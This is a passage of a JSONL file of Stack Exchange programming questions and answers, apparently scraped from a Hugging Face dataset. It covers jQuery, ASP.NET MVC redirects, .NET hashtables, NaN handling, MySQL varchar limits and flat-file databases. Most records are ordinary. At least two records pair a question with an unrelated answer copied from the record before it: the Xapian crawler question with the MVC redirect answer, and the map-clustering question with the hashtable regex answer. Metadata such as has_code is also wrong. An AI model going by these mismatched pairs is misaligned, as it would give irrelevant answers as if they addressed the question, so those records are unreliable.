strategy for\n  property access by naming a class that\n  implements the interface\n  org.hibernate.property.PropertyAccessor.\nMy guess is that reflection in general is going to be a higher cost though, but sorry.. no numbers :(", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.652983"}
{"id": "hf_6e38041234db", "question": "<p>I have a set of divs that I want to make <code>collapsible/expandable</code> using jQuery's <code>slideToggle()</code> method. How do I make all of these divs collapsed by default? I'd like to avoid explicitly calling <code>slideToggle()</code> on each element during/after page rendering.</p>\n", "question_body": "", "answer": "you probably can do something like this:\n```\n```\n$(document).ready(function(){\n  $('div').hide();\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.676357"}
{"id": "hf_8d814e43035e", "question": "<p>When I get AuthenticationStatus.Authenticated (DotNetOpenId library)\nresponse from myopenid provider, i'd like to redirect user from login page\nto another one using MVC Redirect(myurl). But unfortunately, instead of\ngetting to myurl, user is redirected to empty page:</p>\n\n<p>myurl?token=AWSe9PSLwx0RnymcW0q.... (+ several kilobytes of\nmyopenid-specific query string)</p>\n\n<p>I also tried FormsAuthentication.RedirectFromLoginPage(), but it redirects\nto original login page again instead of the myurl.</p>\n\n<p>Could anybody suggest proper redirection to myurl?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "First of all you should set authorization cookie:\n```\n```\nFormsAuth.SetAuthCookie(UserName, RememberMe);\n```\n```\nAfter this you should return RedirectToAction result:\n```\n```\nreturn RedirectToAction(actionName, controllerName);\n```\n```\nOr Redirect result:\n```\n```\nreturn Redirect(url);\n```\n```\nWhen you use \"return Redirect(url);\" it uses Response.Redirect(url, false) method for redirecting so it must work. May be you not returning this action result, please check this.\n\"FormsAuthentication.RedirectFromLoginPage()\" will redirect to login page when you didn't set authorization cookie or when your login page is a home (default) page of the application -\nThe RedirectFromLoginPage method redirects to the URL specified in the query string using the ReturnURL variable name. For example, in the URL\nhttp://www.contoso.com/login.aspx?ReturnUrl=caller.aspx\n, the RedirectFromLoginPage method redirects tothe return URL caller.aspx. If the ReturnURL variable does not exist, the RedirectFromLoginPage method redirects to the URL in the DefaultUrl property.\nVia MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.722731"}
{"id": "hf_a4f02673ba8f", "question": "<p>I would like to implement a search engine which should crawl a set of web sites, extract specific information from the pages and create full-text index of that specific information.</p>\n\n<p>It seems to me that Xapian could be a good choice for the search engine library.</p>\n\n<p>What are the options for a crawler/parser to integrate with Xapian?</p>\n\n<p>Would Solr be a better choice than Xapian to integrate with open source crawlers/parsers?</p>\n", "question_body": "", "answer": "First of all you should set authorization cookie:\n```\n```\nFormsAuth.SetAuthCookie(UserName, RememberMe);\n```\n```\nAfter this you should return RedirectToAction result:\n```\n```\nreturn RedirectToAction(actionName, controllerName);\n```\n```\nOr Redirect result:\n```\n```\nreturn Redirect(url);\n```\n```\nWhen you use \"return Redirect(url);\" it uses Response.Redirect(url, false) method for redirecting so it must work. May be you not returning this action result, please check this.\n\"FormsAuthentication.RedirectFromLoginPage()\" will redirect to login page when you didn't set authorization cookie or when your login page is a home (default) page of the application -\nThe RedirectFromLoginPage method redirects to the URL specified in the query string using the ReturnURL variable name. For example, in the URL\nhttp://www.contoso.com/login.aspx?ReturnUrl=caller.aspx\n, the RedirectFromLoginPage method redirects tothe return URL caller.aspx. If the ReturnURL variable does not exist, the RedirectFromLoginPage method redirects to the URL in the DefaultUrl property.\nVia MSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.747516"}
{"id": "hf_0771ad421327", "question": "<p>I've got a whole host of values stored in a .net 2.0 hashtable.  What I would really like to find is a way to, essentially, do a SQL select statement  on the table.</p>\n\n<p>Meaning, I'd like to get a list of keys whose associated values match a very simple text pattern (along the lines of \"starts with a number\".)</p>\n\n<p>The final goal will be to remove these records from the hashtable for further processing.</p>\n\n<p>I've been beating my head against this for a while now, and I can't seem to come up with anything.</p>\n\n<p>Any ideas?</p>\n\n<p>(On the off chance this matters: due to the realities of this project, any 3rd party widgets or upgrading to a more recent version of .net are off the table.)</p>\n", "question_body": "", "answer": "You could use a regex against every key in the hashtable.  This is very dirty but it works:\n```\n```\nstatic void Main(string[] args)\n    {\n        Hashtable myhashtable = new Hashtable();\n        myhashtable.Add(\"Teststring\", \"Hello\");\n        myhashtable.Add(\"1TestString1\", \"World\");\n        myhashtable.Add(\"2TestString2\", \"Test\");\n\n        List<String> newht = new List<String>;\n\n        //match all strings with a number at the front\n        Regex rx = new Regex(\"^[1-9]\");\n        foreach (string key in myhashtable.Keys)\n        {\n            if (rx.IsMatch(key) == true)\n            {\n                newht.Add(key);\n            }\n        }\n\n        //Loop through all the keys in the new collection and remove them from\n        //them from the main hashtable.\n        foreach (string key in newht)\n        {\n            myhashtable.Remove(key);\n        }\n    }\n```\n```\nEDIT: And just for fun, here is the LINQ version (sorry I just had too).\n```\n```\nHashtable myhashtable = new Hashtable();\n            myhashtable.Add(\"Teststring\", \"Hello\");\n            myhashtable.Add(\"1TestString1\", \"World\");\n            myhashtable.Add(\"2TestString2\", \"Test\");\n\n            Regex rx = new Regex(\"^[1-9]\");\n            var k = (from string key in myhashtable.Keys\n                     where rx.IsMatch(key)\n                     select key).ToList();\n\n            k.ForEach(s => myhashtable.Remove(s));\n```\n```\nEDIT: I have just added list of sting rather then a hashtable, I couldn't remember which .net version had generic lists in it ***slaps forehead", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.884227"}
{"id": "hf_944f7c070648", "question": "<p>I'm dealing with a large group of entities that store locations. They are displayed on a map. I'm trying to come up with an efficient way to group near located entities into one entity when viewed from a higher location. So, for example, if you are very high, when looking down, you will see one entity that represents a group of closely located entities in an area. Zooming in close enough would split that entity out into its contained entities.</p>\n\n<p>Is there an efficient algorithm for doing this? I thought about just griding off the view based on height and dropping entities into grid boxes based on location then rendering the box point. My only concern is if all the entities are in the upper right of that box, the entity rendered to represent them might be centered in the middle instead of the location of the group of entities.</p>\n\n<p>Any thoughts or ideas?</p>\n", "question_body": "", "answer": "You could use a regex against every key in the hashtable.  This is very dirty but it works:\n```\n```\nstatic void Main(string[] args)\n    {\n        Hashtable myhashtable = new Hashtable();\n        myhashtable.Add(\"Teststring\", \"Hello\");\n        myhashtable.Add(\"1TestString1\", \"World\");\n        myhashtable.Add(\"2TestString2\", \"Test\");\n\n        List<String> newht = new List<String>;\n\n        //match all strings with a number at the front\n        Regex rx = new Regex(\"^[1-9]\");\n        foreach (string key in myhashtable.Keys)\n        {\n            if (rx.IsMatch(key) == true)\n            {\n                newht.Add(key);\n            }\n        }\n\n        //Loop through all the keys in the new collection and remove them from\n        //them from the main hashtable.\n        foreach (string key in newht)\n        {\n            myhashtable.Remove(key);\n        }\n    }\n```\n```\nEDIT: And just for fun, here is the LINQ version (sorry I just had too).\n```\n```\nHashtable myhashtable = new Hashtable();\n            myhashtable.Add(\"Teststring\", \"Hello\");\n            myhashtable.Add(\"1TestString1\", \"World\");\n            myhashtable.Add(\"2TestString2\", \"Test\");\n\n            Regex rx = new Regex(\"^[1-9]\");\n            var k = (from string key in myhashtable.Keys\n                     where rx.IsMatch(key)\n                     select key).ToList();\n\n            k.ForEach(s => myhashtable.Remove(s));\n```\n```\nEDIT: I have just added list of sting rather then a hashtable, I couldn't remember which .net version had generic lists in it ***slaps forehead", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.908249"}
{"id": "hf_1bcbf621c509", "question": "<p>I have double (or float) variables that might be \"empty\", as in holding no valid value. How can I represent this condition with the built in types float and double?</p>\n\n<p>One option would be a wrapper that has a float and a boolean, but that can´t work, as my libraries have containers that store doubles and not objects that behave as doubles. Another would be using NaN (std::numeric_limits). But I see no way to check for a variable being NaN.</p>\n\n<p>How can I solve the problem of needing a \"special\" float value to mean something other than the number?</p>\n", "question_body": "", "answer": "We have done that by using NaN:\n```\n```\ndouble d = std::numeric_limits<double>::signaling_NaN();\nbool isNaN = (d != d);\n```\n```\nNaN values compared for equality against itself will yield false. That's the way you test for NaN, but which seems to be only valid if\n```\nstd::numeric_limits<double>::is_iec559\n```\nis true (if so, it conforms to ieee754 too).\nIn C99 there is a macro called\n```\nisnan\n```\nfor this in\n```\nmath.h\n```\n, which checks a floating point number for a NaN value too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.942054"}
{"id": "hf_2a8e276370d9", "question": "<p>This is for my DB class. I am new to OO, been a procedural lad for some time, so I'm still a bit murky.</p>\n\n<p>My first idea was using a bunch of setter functions/methods.. but after writing a whole bunch, I thought about using PHP's define function, like so.</p>\n\n<pre><code>define('MYSQL_USERNAME', 'jimbo');\n</code></pre>\n\n<p>Is this an accepted practice? What is the best practice? Should I really clutter my class with a bunch of setter functions (I am currently the only developer using these classes). What are your solutions?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "there are probably a few options to deal with this:\njust use setters, it's perfectly acceptable, but can get a bit \"wordy\" with a lot of config options.\nuse a config object to pass in:\n```\n```\n$config = (object) array(\n   'prop1' => 'somevalue',\n   'prop2' => 'somevalue2',\n   'prop3' => 'somevalue3',\n);\n\n$db = new DB($config);\n```\n```\nif you want to use constants, you could restrict them to the class to avoid global namespace pollution:\n```\n```\nclass DB {\n    const USER = 'mysqluser';\n}\n\necho DB::USER; // for example\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.964914"}
{"id": "hf_1e161ba62788", "question": "<p>Generally speaking what do you get out of extending an artificial neural net by adding more nodes to a hidden layer or more hidden layers?</p>\n\n<p>Does it allow for more precision in the mapping, or does it allow for more subtlety in the relationships it can identify, or something else?</p>\n", "question_body": "", "answer": "This is very interesting question but it's not so easy to answer. It depends on the problem you try to resolve and what neural network you try to use. There are several neural network types.\nI general it's not so clear that more nodes equals more precision. Research show that you need mostly only one hidden layer. The numer of nodes should be the minimal numer of nodes that are required to resolve a problem. If you don't have enough of them - you will not reach solution.\nFrom the other hand - if you have reached the number of nodes that is good to resolve solution - you can add more and more of them and you will not see any further progress in result estimation.\nThat's why there are so many types of neural networks. They try to resolve different types of problems. So you have NN to resolve static problems, to resolve time related problems and so one. The number of nodes is not so important like the design of them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.026002"}
{"id": "hf_d7ab726de9cf", "question": "<p>I'm using a UITableView to show some data from an array. This array can be changed at any time by other threads. (I believe that whether the array is mutable, or just replaced entirely, doesn't make a difference.) Access to the array itself is threadsafe.</p>\n\n<p>What's the proper way to ensure thread safety with regard to the tableview? I'm worried, for example, that I might change the array to be shorter just before cellForRowAtIndexPath is called, leading to an NSRangeException.</p>\n\n<p>Should I...</p>\n\n<ol>\n<li>Enforce that the array is only changed on the main thread? (Seems ugly.)</li>\n<li>Maintain a shadow array and update this on the main thread through KVO observing?</li>\n<li>??? There must be a better solution...</li>\n</ol>\n", "question_body": "", "answer": "From your description, you really have TWO different data sets:\nThe actual data, as it exists in your model\nThe data that's displayed to the user\nThus, you already have, in effect, a 'shadow' array (virtual shadow, which may be stretching the metaphor too far). I'd say your best bet is to formalize this arrangement, and keep a 'display' array that only gets modified in the main thread. In it, you can have objects from your 'real' array; since they're only pointers, you won't be giving up too much memory.\nThreading is evil.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.051226"}
{"id": "hf_fefba9437153", "question": "<p>The software base I am developing for uses a signficant amount of yacc which I don't need to deal with. Some times I think it would be helpful in understanding some problems I find but most of the time I can get away with my complete ignorance of yacc.</p>\n\n<p>My question are there enough new projects out there that still use yacc to warrant the time I'll need to learn it?</p>\n\n<p>Edit: Given the response is mostly in favour of learning Yacc, is there a similar language that you would recommend over yacc?</p>\n", "question_body": "", "answer": "Yes, these tools are worth learning if you ever need to create or modify code that parses a grammar.\nFor many years the de facto tool for generating code to parse a grammar was yacc, or its GNU cousin, bison.\nLately I've heard there are a couple of new kids on the block, but the principle is the same:  you write a declarative grammar in a format that is more or less in Backus-Naur Form (\nBNF\n) and yacc/bison/whatever generates some code for you that would be extremely tedious to write by hand.\nAlso, the principles behind grammars can be very useful to learn even if you don't need to work on such code directly.  I haven't worked with parsers much since taking a course on Compiler Design in college, but understanding runtime stacks, lookahead parsers, expression evaluation, and a lot of other related things has helped me immensely to write and debug my code effectively.\nedit:\nGiven your followup question about other tools, Yacc/Bison of course are best for C/C++ projects, since they generate C code.  There are similar tools for other languages.  Not all grammars are equivalent, and some parser generators can only grok grammars of a certain complexity.  So you might need to find a tool that can parse your grammar.  See\nhttp://en.wikipedia.org/wiki/Comparison_of_parser_generators", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.076919"}
{"id": "hf_0c55aea21c0d", "question": "<p>I get a 404 response from .Net MVC when I try to make a request where my search term ends with a <code>.</code> (period). This is the route that I'm using:</p>\n\n<pre><code>routes.MapRoute(\n                \"Json\",\n                \"Remote.mvc/{action}/{searchTerm}/{count}\",\n                new { controller=\"Remote\", count=10}\n            );\n</code></pre>\n\n<p>The search works fine with a <code>.</code> inside the search term, it just cannot end with it.  Any thoughts on how to route this search request?</p>\n", "question_body": "", "answer": "If you are using .NET 4.0, you can set this flag in the system.web section of your web.config and it will be allowed:\n```\n```\n<httpRuntime relaxedUrlToFileSystemMapping=\"true\" />\n```\n```\nI've tested it and it works.\nHaack\nhas an explanation of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.143190"}
{"id": "hf_692ab09adc9c", "question": "<p>I have a desktop application having heavyweight components (JxBrowser) in a JFrame. How can I make a snapshot from the GUI and save it to for example a png file? </p>\n\n<p>Note: The method using Graphics2d and Component.paint()/paintAll()/print/printAll works only for lightweight components. </p>\n\n<p>Any answers appreciated!</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>I have already tried this:</p>\n\n<pre><code>robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())); \n</code></pre>\n\n<p>But I want the inner component to be captured...</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>The situation seems to converge to this solution: if I have a bigger heavyweight component in my JFrame, so it is rendered on a JScrollPane then there exist no other method to get a snapshot of it programatically then to scroll it/screenshot it with screencapture?</p>\n", "question_body": "", "answer": "You mean programmatically?\nWhat about\n```\n```\nPoint p = yourAwtComponent.getLocationOnScreen();\nint w   = yourAwtComponent.getWidth();\nint h   = yourAwtComponent.getHeight();\n\nRectangle rectangle = new Rectangle( p.x, p.y, w, h );\n\nImage image = robot.createScreenCapture(rectangle);\n```\n```\nAnd then something like this:\n```\n```\nImageIO.write( image, \"png\", file );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.167755"}
{"id": "hf_d386acab73aa", "question": "<p>Here's a code snippet. . .</p>\n\n<pre><code>&lt;form name=\"FinalAccept\" method=\"get\"&gt;&lt;br&gt;\n\n&lt;input type=\"radio\" name=\"YesNo\" value=\"Yes\" onclick=\"/accept\"&gt; Yes&lt;br&gt;\n\n&lt;input type=\"radio\" name=\"YesNo\" value=\"No\" onclick=\"/accept\"&gt; No&lt;br&gt;\n</code></pre>\n\n<p>Clearly, what I'm trying to do is call the routine linked to /accept when the user clicks on the radio button.</p>\n\n<p>I know the routine is working because I call the same routine from another place in the program. </p>\n\n<p>I'm trying to run it locally using google appserver. Is there something I'm missing? </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Your onClick event is expecting some javascript code:\n```\n```\nonclick=\"SomeJavaScriptCode\"\n```\n```\nMore here:\nhttp://www.w3schools.com/jsref/jsref_onClick.asp\nSo, you should be doing something like this:\n```\n```\nonClick=\"myfunction('my value');\"\n```\n```\nEDIT: It looks like you want to go to a URL when the user clicks either \"yes\" or \"no\".  To do that, you can try this little bit of javascript code:\n```\n```\nonClick=\"location.href='http://www.example.com/accept';\"\nonClick=\"location.href='http://www.example.com/decline';\"\n```\n```\nNow, if you want to submit the form automatically when the user clicks either \"yes\" or \"no\", then do what Benry suggests:\n```\n```\nonClick=\"this.form.submit();\"\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.194594"}
{"id": "hf_2a7d3a321d8d", "question": "<p>How can I maintain the scroll position of a treeview control in .NET application? For example, I have a treeview control and go through a process of adding various nodes to it tacking them on to the bottom. During this process, I can scroll through the treeview and view different nodes. The problem is when the process completes, the treeview scrolls to the very bottom.</p>\n\n<p>It appears that calling treenode.Expand() is what is throwing me off track here. When a parent node is expanded, it gets the focus.</p>\n\n<p>Is there a way around this? If I'm looking at a specific node while the process is running, I don't want it to jump around on me when the process is done.</p>\n", "question_body": "", "answer": "I think I figured it out:\nGet the node at the top of the treeview.\nExpand the parent node.\nMake the node that was previously at the top visible.\n```\n```\nIf treeNodeParent.IsExpanded = False Then\n    Dim currentNode As TreeNode = TreeViewHosts.GetNodeAt(0, 0)\n    treeNodeParent.Expand()\n    currentNode.EnsureVisible()\nEnd If\n```\n```\nIs the a better way to do this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.259343"}
{"id": "hf_b9332ae2006d", "question": "<p>I'm thinking about exploring the idea of having our client software run as a service on a high port and listen for simple http GET requests from 127.0.0.1.  The theory is that I would be able to access this service via js from a web page that is served from my site.</p>\n\n<p>1) User installs client software that installs itself as a service and waits for authenticated requests on 127.0.0.1:8080</p>\n\n<p>2) When the user hits my home page js on the page makes an xhtml request to 127.0.0.1:8080 and asks for the status</p>\n\n<p>3) The home page then makes another js request back to my web server sending the status that it received.</p>\n\n<p>This would allow my users to upload/download and edit files on a USB attached device in real-time from a browser.  Polling could be the fallback method which is close to what we do today. </p>\n\n<p>Has anyone done this and what potential pitfalls are there? Will this even work?</p>\n", "question_body": "", "answer": "I can't see any potential pitfalls. I do have a couple of points however.\n1/ You probably want to make sure your service only accepts incoming connection from the local machine (127.0.0.1).  Otherwise, anyone could look at your JavaScript and figure out that it's talking to [your-ip]:8080. They could then try that themselves from a remote site (security hole).\n2/ I wouldn't use port 8080 as it's commonly used for other things (alternate HTTP servers, etc.). Make it configurable and choose a nice high random-type value.\n3/ I'm not sure what you're trying to do with point 3 but I\nthink\nyou're trying to send the status back to the user. In which case, why wouldn't the JavaScript on your home page just get the status in a single session and output/update the HTML to be presented to the user?  Your \"another js request back to my web server\" doesn't make sense to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.295741"}
{"id": "hf_e617341d1a62", "question": "<p>What is the equivalent of varchar(max) in MySQL?</p>\n", "question_body": "", "answer": "The max length of a varchar is subject to the max row size in MySQL, which is 64KB (not counting BLOBs):\n```\n```\nVARCHAR(65535)\n```\n```\nHowever, note that the limit is lower if you use a multi-byte character set:\n```\n```\nVARCHAR(21844) CHARACTER SET utf8\n```\n```\nHere are some examples:\nThe maximum row size is 65535, but a varchar also includes a byte or two to encode the length of a given string. So you actually can't declare a varchar of the maximum row size, even if it's the only column in the table.\n```\n```\nmysql> CREATE TABLE foo ( v VARCHAR(65534) );\nERROR 1118 (42000): Row size too large. The maximum row size for the used table type, not counting BLOBs, is 65535. This includes storage overhead, check the manual. You have to change some columns to TEXT or BLOBs\n```\n```\nBut if we try decreasing lengths, we find the greatest length that works:\n```\n```\nmysql> CREATE TABLE foo ( v VARCHAR(65532) );\nQuery OK, 0 rows affected (0.01 sec)\n```\n```\nNow if we try to use a multibyte charset at the table level, we find that it counts each character as multiple bytes. UTF8 strings don't\nnecessarily\nuse multiple bytes per string, but MySQL can't assume you'll restrict all your future inserts to single-byte characters.\n```\n```\nmysql> CREATE TABLE foo ( v VARCHAR(65532) ) CHARSET=utf8;\nERROR 1074 (42000): Column length too big for column 'v' (max = 21845); use BLOB or TEXT instead\n```\n```\nIn spite of what the last error told us, InnoDB still doesn't like a length of 21845.\n```\n```\nmysql> CREATE TABLE foo ( v VARCHAR(21845) ) CHARSET=utf8;\nERROR 1118 (42000): Row size too large. The maximum row size for the used table type, not counting BLOBs, is 65535. This includes storage overhead, check the manual. You have to change some columns to TEXT or BLOBs\n```\n```\nThis makes perfect sense, if you calculate that 21845*3 = 65535, which wouldn't have worked anyway. Whereas 21844*3 = 65532, which does work.\n```\n```\nmysql> CREATE TABLE foo ( v VARCHAR(21844) ) CHARSET=utf8;\nQuery OK, 0 rows affected (0.32 sec)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.320974"}
{"id": "hf_2ac0e732f79f", "question": "<p>Is there a good tutorial on using regular expressions, especially with <a href=\"http://en.wikipedia.org/wiki/Grep\" rel=\"nofollow noreferrer\">grep</a>? I tried googling for some, but most tutorials are too basic and cover things I already know.</p>\n", "question_body": "", "answer": "Here\nis an introductory article.\nHere\nare some other tutorials.\nThe definitive book is\nMastering Regular Expressions\nby J. Friedl:\nalt text http://ecx.images-amazon.com/images/I/51fSgodb1uL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.347059"}
{"id": "hf_3c59ba0e1d4e", "question": "<p>I come from a fairly strong OO background, the benefits of OOD &amp; OOP are second nature to me, but recently I've found myself in a development shop tied to a procedural programming habits. The implementation language has some OOP features, they are not used in optimal ways. </p>\n\n<p>Update: everyone seems to have an opinion about this topic, as do I, but the question was:</p>\n\n<p><strong>Have there been any good comparative studies contrasting the cost of software development using procedural programming languages versus Object Oriented languages?</strong></p>\n\n<p>Some commenters have pointed out the dubious nature of trying to compare apples to oranges, and I agree that it would be very difficult to accurately measure, however not entirely impossible perhaps. </p>\n", "question_body": "", "answer": "Good idea.  A head-to-head comparison.  Write application X in a procedural style, and in an OO style and measure something.  Cost to develop.  Return on Investment.\nWhat does it mean to write the same application in two styles?  It would be a different application, wouldn't it?  The procedural people would balk that the OO folks were cheating when they used inheritance or messaging or encapsulation.\nThere can't be such a comparison.  There's no basis for comparing two \"versions\" of an application.  It's like asking if apples or oranges are more cost-effective at being fruit.\nHaving said that, you have to focus on things other folks can actually see.\nTime to build something that works.\nRate of bugs and problems.\nIf your approach is better, you'll be successful, and people will want to know why.\nWhen you explain that OO leads to your success... well... you've won the argument.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.384844"}
{"id": "hf_d3b773b2673f", "question": "<p>I have signed up with BizSpark and it is a great deal, especially for people like myself in perennial startup mode. As part of BizSpark you get 3 year deployment licenses for software such as Windows Server and SQL Server. Is there any dedicated hosting companies that will allow you to use these licenses without having to pay for licenses built into typically hosting accounts? For example, normally to get SQL Server Standard installed on a dedicated server at a host can cost a fair bit of extra money, but as I already have a license I shouldn't have to pay.</p>\n", "question_body": "", "answer": "As far as I know you have a few options.\nBizSpark has a hosting company agreement, you could contact them\nMost hosting companies with dedicated systems will sell you a basic configuration and allow you to install your own software.  (However, windows might be the only tricky one).\nI personally recommend both\nRackSpace\nand\nHostMySite\nfor hosting, if you contact their sales people they will let you know what is possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.434534"}
{"id": "hf_879f7b25f608", "question": "<p>Many databases I've encountered (Like SQL Server) use a single file to store the entire database.  This seems to be a pretty common approach. What are the advantages to storing the entire database in a single file, as opposed to breaking up the data into more logical units, such as a single table per file.  </p>\n\n<p>Also, how does a database work internally. How does it handle concurrent writes to the same file by different threads.  In most applications I've seen you can only have 1 open write handle on a file at a time. How do the various database engines handle the concurrent writes.</p>\n", "question_body": "", "answer": "A single non-fragmented large file can be treated by the server application much like a raw disk is treated by the operating system: a random-seekable block of bytes. The database server could, if it chose to, implement an entire file system on top of that block of bytes, if there was a benefit to implementing tables as separate files.\nConcurrent writes to different sections of the same file are not a problem. The database uses locking strategies to make sure that multiple threads aren't trying to access the same section of the file, and this is one of the main reasons that database transactions exist: to isolate the visible effects of one transaction from another.\nFor example, a database server might keep track of which rows in which tables have been accessed by which in-flight transactions; when a transaction retires, the rows which it had touched are released so that they can be freely accessed by other transactions. In this scenario, other transactions might simply block - i.e. wait - when they try to access rows that are currently being part of another transaction. If the other transaction doesn't complete within a reasonable (configurable) time, then the waiting transaction might be aborted. Often the reason for this is a deadlock. The application using the database can then choose, if it wants, to retry the transaction.\nThis locking could be implemented using semaphores or other synchronization mechanisms, depending on the performance tradeoffs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.457412"}
{"id": "hf_46ff69065004", "question": "<p>Informed options needed about the merits of flat file database.  I'm considering using a flat file database scheme to manage data for a custom blog.  It would be deployed on Linux OS variant and written in Java.  </p>\n\n<p>What are the possible negatives or positives regarding performance for reading and writing of both articles and comments?</p>\n\n<p>Would article retrieval crap out because of it being a flat file rather than a RDBMS if it were to get slash-doted? (Wishful thinking)</p>\n\n<p>I'm not against using a RDBMS, just asking the community their opinion on the viability of such a software architecture scheme.</p>\n\n<p><strong>Follow Up:</strong>\nIn the case of this question I would see “Flat file == file system–based” For example each blog entry and its accompanying metadata would be in a single file. Making for many files organized by date structure of the file folders (blogs\\testblog2\\2008\\12\\01) == 12/01/2008</p>\n", "question_body": "", "answer": "(answer copied and modified from\nhere\n)\nI would advise against using a flat file for anything besides read-only access, because then you'd have to deal with concurrency issues like making sure only one process is writing to the file at once. Instead, I recommend\nSQLite\n, a fully functional SQL database that's stored in a file. SQLite already has built-in concurrency, so you don't have to worry about things like file locking, and it's really fast for reads.\nIf, however, you are doing lots of database changes, it's best to do them all at once inside a\ntransaction\n. This will only write the changes to the file once, as opposed to every time an change query is issued. This dramatically increases the speed of doing multiple changes.\nWhen a change query is issued, whether it's inside a tranasction or not, the whole database is locked until that query finishes. This means that extremely large transactions could adversely affect the performance of other processes because they must wait for the transaction to finish before they can access the database. In practice, I haven't found this to be that noticeable, but it's always good practice to try to minimize the number of database modifying queries you issue, and it's certainly faster then trying to use a flat file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 